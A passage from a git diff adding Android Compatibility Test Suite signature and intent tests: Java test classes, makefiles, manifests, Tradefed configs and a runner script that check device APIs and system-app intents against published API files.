+ private static final String TAG = SignatureTest.class.getSimpleName();
+
+ /**
+ * A set of class names that are inaccessible for some reason.
+ */
+ private static final Set<String> KNOWN_INACCESSIBLE_CLASSES = new HashSet<>();
+
+ static {
+ // TODO(b/63383787) - These classes, which are nested annotations with @Retention(SOURCE)
+ // are removed from framework.dex for an as yet unknown reason.
+ KNOWN_INACCESSIBLE_CLASSES.add("android.content.pm.PackageManager.PermissionFlags");
+ KNOWN_INACCESSIBLE_CLASSES.add("android.hardware.radio.ProgramSelector.IdentifierType");
+ KNOWN_INACCESSIBLE_CLASSES.add("android.hardware.radio.ProgramSelector.ProgramType");
+ KNOWN_INACCESSIBLE_CLASSES.add("android.hardware.radio.RadioManager.Band");
+ KNOWN_INACCESSIBLE_CLASSES.add("android.os.UserManager.UserRestrictionSource");
+ KNOWN_INACCESSIBLE_CLASSES.add(
+ "android.service.persistentdata.PersistentDataBlockManager.FlashLockState");
+ }
+
+ private TestResultObserver mResultObserver;
+
+ private String[] expectedApiFiles;
+ private String[] unexpectedApiFiles;
+
+ private class TestResultObserver implements ResultObserver {
+
+ boolean mDidFail = false;
+
+ StringBuilder mErrorString = new StringBuilder();
+
+ @Override
+ public void notifyFailure(FailureType type, String name, String errorMessage) {
+ mDidFail = true;
+ mErrorString.append("\n");
+ mErrorString.append(type.toString().toLowerCase());
+ mErrorString.append(":\t");
+ mErrorString.append(name);
+ mErrorString.append("\tError: ");
+ mErrorString.append(errorMessage);
+ }
+ }
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mResultObserver = new TestResultObserver();
+
+ // Get the arguments passed to the instrumentation.
+ Bundle instrumentationArgs =
+ ((InstrumentationTestRunner) getInstrumentation()).getArguments();
+
+ expectedApiFiles = getCommaSeparatedList(instrumentationArgs, "expected-api-files");
+ unexpectedApiFiles = getCommaSeparatedList(instrumentationArgs, "unexpected-api-files");
+ }
+
+ private String[] getCommaSeparatedList(Bundle instrumentationArgs, String key) {
+ String argument = instrumentationArgs.getString(key);
+ if (argument == null) {
+ return new String[0];
+ }
+ return argument.split(",");
+ }
+
+ /**
+ * Tests that the device's API matches the expected set defined in xml.
+ * <p/>
+ * Will check the entire API, and then report the complete list of failures
+ */
+ public void testSignature() {
+ try {
+ Set<JDiffClassDescription> unexpectedClasses = loadUnexpectedClasses();
+ for (JDiffClassDescription classDescription : unexpectedClasses) {
+ Class<?> unexpectedClass = findUnexpectedClass(classDescription);
+ if (unexpectedClass != null) {
+ mResultObserver.notifyFailure(
+ FailureType.UNEXPECTED_CLASS,
+ classDescription.getAbsoluteClassName(),
+ "Class should not be accessible to this APK");
+ }
+ }
+
+ ApiComplianceChecker complianceChecker = new ApiComplianceChecker(mResultObserver);
+ ApiDocumentParser apiDocumentParser = new ApiDocumentParser(
+ TAG, new ApiDocumentParser.Listener() {
+ @Override
+ public void completedClass(JDiffClassDescription classDescription) {
+ // Ignore classes that are known to be inaccessible.
+ if (KNOWN_INACCESSIBLE_CLASSES.contains(classDescription.getAbsoluteClassName())) {
+ return;
+ }
+
+ // Ignore unexpected classes that are in the API definition.
+ if (!unexpectedClasses.contains(classDescription)) {
+ complianceChecker.checkSignatureCompliance(classDescription);
+ }
+ }
+ });
+
+ for (String expectedApiFile : expectedApiFiles) {
+ File file = new File(API_FILE_DIRECTORY + "/" + expectedApiFile);
+ apiDocumentParser.parse(new FileInputStream(file));
+ }
+ } catch (Exception e) {
+ mResultObserver.notifyFailure(FailureType.CAUGHT_EXCEPTION, e.getMessage(),
+ e.getMessage());
+ }
+ if (mResultObserver.mDidFail) {
+ StringBuilder errorString = mResultObserver.mErrorString;
+ ClassLoader classLoader = getClass().getClassLoader();
+ errorString.append("\nClassLoader hierarchy\n");
+ while (classLoader != null) {
+ errorString.append(" ").append(classLoader).append("\n");
+ classLoader = classLoader.getParent();
+ }
+ fail(errorString.toString());
+ }
+ }
+
+ private Class<?> findUnexpectedClass(JDiffClassDescription classDescription) {
+ try {
+ return ReflectionHelper.findMatchingClass(classDescription);
+ } catch (ClassNotFoundException e) {
+ return null;
+ }
+ }
+
+ private Set<JDiffClassDescription> loadUnexpectedClasses()
+ throws IOException, XmlPullParserException {
+
+ Set<JDiffClassDescription> unexpectedClasses = new TreeSet<>(
+ Comparator.comparing(JDiffClassDescription::getAbsoluteClassName));
+ ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG,
+ new ApiDocumentParser.Listener() {
+ @Override
+ public void completedClass(JDiffClassDescription classDescription) {
+ unexpectedClasses.add(classDescription);
+ }
+ });
+ for (String expectedApiFile : unexpectedApiFiles) {
+ File file = new File(API_FILE_DIRECTORY + "/" + expectedApiFile);
+ apiDocumentParser.parse(new FileInputStream(file));
+ }
+ return unexpectedClasses;
+ }
+}
diff --git a/tests/signature/api-check/system-current-api/Android.mk b/tests/signature/api-check/system-current-api/Android.mk
new file mode 100644
index 0000000..1c10d2c
--- /dev/null
+++ b/tests/signature/api-check/system-current-api/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsSystemCurrentApiSignatureTestCases
+
+LOCAL_SIGNATURE_API_FILES := \
+ system-current.api \
+ android-test-mock-current.api \
+ android-test-runner-current.api \
+
+include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/system-current-api/AndroidManifest.xml b/tests/signature/api-check/system-current-api/AndroidManifest.xml
new file mode 100644
index 0000000..d678c4b
--- /dev/null
+++ b/tests/signature/api-check/system-current-api/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.signature.cts.api.system_current">
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+
+ <application/>
+
+ <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
+ android:targetPackage="android.signature.cts.api.system_current"
+ android:label="System Current API Signature Test"/>
+
+</manifest>
diff --git a/tests/signature/api-check/system-current-api/AndroidTest.xml b/tests/signature/api-check/system-current-api/AndroidTest.xml
new file mode 100644
index 0000000..6bf641a
--- /dev/null
+++ b/tests/signature/api-check/system-current-api/AndroidTest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS System Current API Signature test cases">
+ <option name="config-descriptor:metadata" key="component" value="systems" />
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
+ <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
+ </target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="push" value="system-current.api->/data/local/tmp/signature-test/system-current.api" />
+ </target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="push" value="android-test-mock-current.api->/data/local/tmp/signature-test/android-test-mock-current.api" />
+ </target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="push" value="android-test-runner-current.api->/data/local/tmp/signature-test/android-test-runner-current.api" />
+ </target_preparer>
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsSystemCurrentApiSignatureTestCases.apk" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.signature.cts.api.system_current" />
+ <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
+ <option name="instrumentation-arg" key="expected-api-files" value="system-current.api" />
+ <option name="instrumentation-arg" key="unexpected-api-files" value="android-test-mock-current.api,android-test-runner-current.api" />
+ <option name="runtime-hint" value="30s" />
+ </test>
+</configuration>
diff --git a/tests/signature/api/Android.mk b/tests/signature/api/Android.mk
index 3d67cd8..71e33ae 100644
--- a/tests/signature/api/Android.mk
+++ b/tests/signature/api/Android.mk
@@ -14,7 +14,7 @@
# We define this in a subdir so that it won't pick up the parent's Android.xml by default.
-LOCAL_PATH:= $(call my-dir)
+LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
# current api, in XML format.
@@ -23,35 +23,63 @@
# by com.android.cts.managedprofile.CurrentApiHelper
# ============================================================
include $(CLEAR_VARS)
+
LOCAL_MODULE := cts-current-api
LOCAL_MODULE_STEM := current.api
-LOCAL_MODULE_CLASS := ETC
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_ETC)
+LOCAL_SRC_FILES := frameworks/base/api/current.txt
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+include $(LOCAL_PATH)/build_xml_api_file.mk
-include $(BUILD_SYSTEM)/base_rules.mk
-$(LOCAL_BUILT_MODULE) : frameworks/base/api/current.txt | $(APICHECK)
- @echo "Convert API file $@"
- @mkdir -p $(dir $@)
- $(hide) $(APICHECK_COMMAND) -convert2xml $< $@
-
-include $(CLEAR_VARS)
-
-# current api, in XML format.
+# current system api, in XML format.
# ============================================================
include $(CLEAR_VARS)
LOCAL_MODULE := cts-system-current-api
LOCAL_MODULE_STEM := system-current.api
-LOCAL_MODULE_CLASS := ETC
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_ETC)
+LOCAL_SRC_FILES := frameworks/base/api/system-current.txt
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+include $(LOCAL_PATH)/build_xml_api_file.mk
-include $(BUILD_SYSTEM)/base_rules.mk
-$(LOCAL_BUILT_MODULE) : frameworks/base/api/system-current.txt | $(APICHECK)
- @echo "Convert API file $@"
- @mkdir -p $(dir $@)
- $(hide) $(APICHECK_COMMAND) -convert2xml $< $@
+# removed system api, in XML format.
+# ============================================================
+include $(CLEAR_VARS)
+LOCAL_MODULE := cts-system-removed-api
+LOCAL_MODULE_STEM := system-removed.api
+LOCAL_SRC_FILES := frameworks/base/api/system-removed.txt
+
+include $(LOCAL_PATH)/build_xml_api_file.mk
+
+# current legacy-test api, in XML format.
+# ============================================================
+include $(CLEAR_VARS)
+LOCAL_MODULE := cts-legacy-test-current-api
+LOCAL_MODULE_STEM := legacy-test-current.api
+LOCAL_SRC_FILES := frameworks/base/legacy-test/api/legacy-test-current.txt
+
+include $(LOCAL_PATH)/build_xml_api_file.mk
+
+# current android-test-mock api, in XML format.
+# ============================================================
+include $(CLEAR_VARS)
+LOCAL_MODULE := cts-android-test-mock-current-api
+LOCAL_MODULE_STEM := android-test-mock-current.api
+LOCAL_SRC_FILES := frameworks/base/test-runner/api/android-test-mock-current.txt
+
+include $(LOCAL_PATH)/build_xml_api_file.mk
+
+# current android-test-runner api, in XML format.
+# ============================================================
+include $(CLEAR_VARS)
+LOCAL_MODULE := cts-android-test-runner-current-api
+LOCAL_MODULE_STEM := android-test-runner-current.api
+LOCAL_SRC_FILES := frameworks/base/test-runner/api/android-test-runner-current.txt
+
+include $(LOCAL_PATH)/build_xml_api_file.mk
+
+# current apache-http-legacy api, in XML format.
+# ==============================================
+include $(CLEAR_VARS)
+LOCAL_MODULE := cts-apache-http-legacy-current-api
+LOCAL_MODULE_STEM := apache-http-legacy-current.api
+LOCAL_SRC_FILES := external/apache-http/api/apache-http-legacy-current.txt
+
+include $(LOCAL_PATH)/build_xml_api_file.mk
diff --git a/tests/signature/api/build_xml_api_file.mk b/tests/signature/api/build_xml_api_file.mk
new file mode 100644
index 0000000..f5468bb
--- /dev/null
+++ b/tests/signature/api/build_xml_api_file.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+# Specify the following 3 variables before including:
+#
+# LOCAL_MODULE_STEM
+# the name of the file to generate, e.g. current.api
+#
+# LOCAL_MODULE
+# the name of the module - must be unique
+#
+# LOCAL_SRC_FILES
+# the name of the source api txt file - only one file allowed
+
+LOCAL_MODULE_CLASS := ETC
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_ETC)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_SYSTEM)/base_rules.mk
+$(LOCAL_BUILT_MODULE) : ${LOCAL_SRC_FILES} | $(APICHECK)
+ @echo "Convert API file $< -> $@"
+ @mkdir -p $(dir $@)
+ $(hide) $(APICHECK_COMMAND) -convert2xmlnostrip $< $@
diff --git a/tests/signature/intent-check/Android.mk b/tests/signature/intent-check/Android.mk
new file mode 100644
index 0000000..c251c3f
--- /dev/null
+++ b/tests/signature/intent-check/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+include $(CLEAR_VARS)
+
+# don't include this package in any target
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsIntentSignatureTestCases
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ compatibility-device-util \
+ android-support-test \
+ cts-signature-common \
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/signature/intent-check/AndroidManifest.xml b/tests/signature/intent-check/AndroidManifest.xml
new file mode 100644
index 0000000..a444350
--- /dev/null
+++ b/tests/signature/intent-check/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.signature.cts.intent">
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+
+ <application>
+ <uses-library android:name="android.test.runner"/>
+ </application>
+
+ <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.signature.cts.intent"
+ android:label="Intent Signature Test"/>
+
+</manifest>
diff --git a/tests/signature/intent-check/AndroidTest.xml b/tests/signature/intent-check/AndroidTest.xml
new file mode 100644
index 0000000..da6895b
--- /dev/null
+++ b/tests/signature/intent-check/AndroidTest.xml
@@ -0,0 +1,51 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS Intent Signature test cases">
+ <option name="config-descriptor:metadata" key="component" value="systems" />
+ <option name="not-shardable" value="true" />
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+ <option name="target" value="device" />
+ <option name="config-filename" value="CtsIntentSignatureTestCases" />
+ <option name="version" value="1.0" />
+ </target_preparer>
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="run-command" value="mkdir -p /data/local/tmp/signature-test-packages" />
+ <option name='run-command'
+ value='pm list packages | while read a; do dumpsys package ${a#"package:"} > /data/local/tmp/signature-test-packages/${a#"package:"}.txt; done' />
+ <option name="teardown-command" value="mkdir -p /data/local/tmp/signature-test-packages" />
+ </target_preparer>
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
+ <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
+ </target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="push" value="current.api->/data/local/tmp/signature-test/current.api" />
+ </target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="push" value="system-current.api->/data/local/tmp/signature-test/system-current.api" />
+ </target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="push" value="system-removed.api->/data/local/tmp/signature-test/system-removed.api" />
+ </target_preparer>
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsIntentSignatureTestCases.apk" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.signature.cts.intent" />
+ <option name="runtime-hint" value="10s" />
+ </test>
+</configuration>
diff --git a/tests/signature/DynamicConfig.xml b/tests/signature/intent-check/DynamicConfig.xml
similarity index 100%
rename from tests/signature/DynamicConfig.xml
rename to tests/signature/intent-check/DynamicConfig.xml
diff --git a/tests/signature/intent-check/src/android/signature/cts/intent/IntentTest.java b/tests/signature/intent-check/src/android/signature/cts/intent/IntentTest.java
new file mode 100644
index 0000000..2f551dc
--- /dev/null
+++ b/tests/signature/intent-check/src/android/signature/cts/intent/IntentTest.java
@@ -0,0 +1,197 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.signature.cts.intent;
+
+import static android.signature.cts.CurrentApi.CURRENT_API_FILE;
+import static android.signature.cts.CurrentApi.SYSTEM_CURRENT_API_FILE;
+import static android.signature.cts.CurrentApi.SYSTEM_REMOVED_API_FILE;
+
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageManager;
+import android.signature.cts.ApiDocumentParser;
+import android.signature.cts.JDiffClassDescription;
+import android.signature.cts.JDiffClassDescription.JDiffField;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
+
+import com.android.compatibility.common.util.DynamicConfigDeviceSide;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParserException;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+
+/**
+ * Validate that the android intents used by APKs on this device are part of the
+ * platform.
+ */
+@RunWith(AndroidJUnit4.class)
+public class IntentTest {
+ private static final String TAG = IntentTest.class.getSimpleName();
+
+ private static final File SIGNATURE_TEST_PACKGES =
+ new File("/data/local/tmp/signature-test-packages");
+ private static final String ANDROID_INTENT_PREFIX = "android.intent.action";
+ private static final String ACTION_LINE_PREFIX = " Action: ";
+ private static final String MODULE_NAME = "CtsIntentSignatureTestCases";
+
+ private PackageManager mPackageManager;
+ private Set<String> intentWhitelist;
+
+ @Before
+ public void setupPackageManager() throws Exception {
+ mPackageManager = InstrumentationRegistry.getContext().getPackageManager();
+ intentWhitelist = getIntentWhitelist();
+ }
+
+ @Test
+ public void shouldNotFindUnexpectedIntents() throws Exception {
+ Set<String> platformIntents = lookupPlatformIntents();
+ platformIntents.addAll(intentWhitelist);
+
+ Set<String> allInvalidIntents = new HashSet<>();
+
+ Set<String> errors = new HashSet<>();
+ List<ApplicationInfo> packages =
+ mPackageManager.getInstalledApplications(PackageManager.GET_META_DATA);
+ for (ApplicationInfo appInfo : packages) {
+ if (!isSystemApp(appInfo) && !isUpdatedSystemApp(appInfo)) {
+ // Only examine system apps
+ continue;
+ }
+ Set<String> invalidIntents = new HashSet<>();
+ Set<String> activeIntents = lookupActiveIntents(appInfo.packageName);
+
+ for (String activeIntent : activeIntents) {
+ String intent = activeIntent.trim();
+ if (!platformIntents.contains(intent) &&
+ intent.startsWith(ANDROID_INTENT_PREFIX)) {
+ invalidIntents.add(activeIntent);
+ allInvalidIntents.add(activeIntent);
+ }
+ }
+
+ String error = String.format("Package: %s Invalid Intent: %s",
+ appInfo.packageName, invalidIntents);
+ if (!invalidIntents.isEmpty()) {
+ errors.add(error);
+ }
+ }
+
+ // Log the whitelist line to make it easy to update.
+ for (String intent : allInvalidIntents) {
+ Log.d(TAG, String.format("whitelist.add(\"%s\");", intent));
+ }
+
+ Assert.assertTrue(errors.toString(), errors.isEmpty());
+ }
+
+ private Set<String> lookupPlatformIntents() {
+ try {
+ Set<String> intents = new HashSet<>();
+ intents.addAll(parse(CURRENT_API_FILE));
+ intents.addAll(parse(SYSTEM_CURRENT_API_FILE));
+ intents.addAll(parse(SYSTEM_REMOVED_API_FILE));
+ return intents;
+ } catch (XmlPullParserException | IOException e) {
+ throw new RuntimeException("failed to parse", e);
+ }
+ }
+
+ private static Set<String> parse(String apiFileName)
+ throws XmlPullParserException, IOException {
+
+ Set<String> androidIntents = new HashSet<>();
+
+ ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG,
+ new ApiDocumentParser.Listener() {
+ @Override
+ public void completedClass(JDiffClassDescription classDescription) {
+ for (JDiffField diffField : classDescription.getFieldList()) {
+ String fieldValue = diffField.getValueString();
+ if (fieldValue != null) {
+ fieldValue = fieldValue.replace("\"", "");
+ if (fieldValue.startsWith(ANDROID_INTENT_PREFIX)) {
+ androidIntents.add(fieldValue);
+ }
+ }
+ }
+
+ }
+ });
+
+ apiDocumentParser.parse(new FileInputStream(new File(apiFileName)));
+
+ return androidIntents;
+ }
+
+ private static boolean isSystemApp(ApplicationInfo applicationInfo) {
+ return (applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0;
+ }
+
+ private static boolean isUpdatedSystemApp(ApplicationInfo applicationInfo) {
+ return (applicationInfo.flags & ApplicationInfo.FLAG_UPDATED_SYSTEM_APP) != 0;
+ }
+
+ private static Set<String> lookupActiveIntents(String packageName) {
+ HashSet<String> activeIntents = new HashSet<>();
+ File dumpsysPackage = new File(SIGNATURE_TEST_PACKGES, packageName + ".txt");
+ if (!dumpsysPackage.exists() || dumpsysPackage.length() == 0) {
+ throw new RuntimeException("Missing package info: " + dumpsysPackage.getAbsolutePath());
+ }
+ try (
+ BufferedReader in = new BufferedReader(
+ new InputStreamReader(new FileInputStream(dumpsysPackage)))) {
+ String line;
+ while ((line = in.readLine()) != null) {
+ if (line.startsWith(ACTION_LINE_PREFIX)) {
+ String intent = line.substring(
+ ACTION_LINE_PREFIX.length(), line.length() - 1);
+ activeIntents.add(intent.replace("\"", ""));
+ }
+ }
+ return activeIntents;
+ } catch (Exception e) {
+ throw new RuntimeException("While retrieving dumpsys", e);
+ }
+ }
+
+ private static Set<String> getIntentWhitelist() throws Exception {
+ Set<String> whitelist = new HashSet<>();
+
+ DynamicConfigDeviceSide dcds = new DynamicConfigDeviceSide(MODULE_NAME);
+ List<String> intentWhitelist = dcds.getValues("intent_whitelist");
+
+ // Log the whitelist Intent
+ for (String intent : intentWhitelist) {
+ Log.d(TAG, String.format("whitelist add: %s", intent));
+ whitelist.add(intent);
+ }
+
+ return whitelist;
+ }
+}
diff --git a/tests/signature/runSignatureTests.sh b/tests/signature/runSignatureTests.sh
new file mode 100755
index 0000000..623973d
--- /dev/null
+++ b/tests/signature/runSignatureTests.sh
@@ -0,0 +1,36 @@
+#! /bin/bash
+#
+# Copyright 2017 The Android Open Source Project.
+#
+# Builds and runs signature APK tests.
+
+if [ -z "$ANDROID_BUILD_TOP" ]; then
+ echo "Missing environment variables. Did you run build/envsetup.sh and lunch?" >&2
+ exit 1
+fi
+
+if [ $# -eq 0 ]; then
+ PACKAGES="
+CtsCurrentApiSignatureTestCases
+CtsSystemCurrentApiSignatureTestCases
+CtsAndroidTestMockCurrentApiSignatureTestCases
+CtsAndroidTestRunnerCurrentApiSignatureTestCases
+CtsLegacyTest26ApiSignatureTestCases
+CtsApacheHttpLegacyCurrentApiSignatureTestCases
+"
+else
+ PACKAGES=${1+"$@"}
+fi
+
+cd $ANDROID_BUILD_TOP
+make -j32 $PACKAGES
+
+TMPFILE=$(mktemp)
+trap "echo Removing temporary directory; rm -f $TMPFILE" EXIT
+
+for p in $PACKAGES
+do
+ echo cts -a arm64-v8a -m "$p" >> $TMPFILE
+done
+
+cts-tradefed run cmdfileAndExit $TMPFILE
diff --git a/tests/signature/src/android/signature/cts/ApiComplianceChecker.java b/tests/signature/src/android/signature/cts/ApiComplianceChecker.java
new file mode 100644
index 0000000..8dbf5e7
--- /dev/null
+++ b/tests/signature/src/android/signature/cts/ApiComplianceChecker.java
@@ -0,0 +1,744 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.signature.cts;
+
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.lang.reflect.Modifier;
+import java.lang.reflect.Type;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Objects;
+import java.util.Set;
+
+/**
+ * Checks that the runtime representation of a class matches the API representation of a class.
+ */
+public class ApiComplianceChecker {
+
+ /** Indicates that the class is an annotation. */
+ private static final int CLASS_MODIFIER_ANNOTATION = 0x00002000;
+
+ /** Indicates that the class is an enum. */
+ private static final int CLASS_MODIFIER_ENUM = 0x00004000;
+
+ /** Indicates that the method is a bridge method. */
+ private static final int METHOD_MODIFIER_BRIDGE = 0x00000040;
+
+ /** Indicates that the method is takes a variable number of arguments. */
+ private static final int METHOD_MODIFIER_VAR_ARGS = 0x00000080;
+
+ /** Indicates that the method is a synthetic method. */
+ private static final int METHOD_MODIFIER_SYNTHETIC = 0x00001000;
+
+ private static final Set<String> HIDDEN_INTERFACE_WHITELIST = new HashSet<>();
+
+ static {
+ // Interfaces that define @hide or @SystemApi or @TestApi methods will by definition contain
+ // methods that do not appear in current.txt. Interfaces added to this
+ // list are probably not meant to be implemented in an application.
+ HIDDEN_INTERFACE_WHITELIST.add("public abstract boolean android.companion.DeviceFilter.matches(D)");
+ HIDDEN_INTERFACE_WHITELIST.add("public static <D> boolean android.companion.DeviceFilter.matches(android.companion.DeviceFilter<D>,D)");
+ HIDDEN_INTERFACE_WHITELIST.add("public abstract java.lang.String android.companion.DeviceFilter.getDeviceDisplayName(D)");
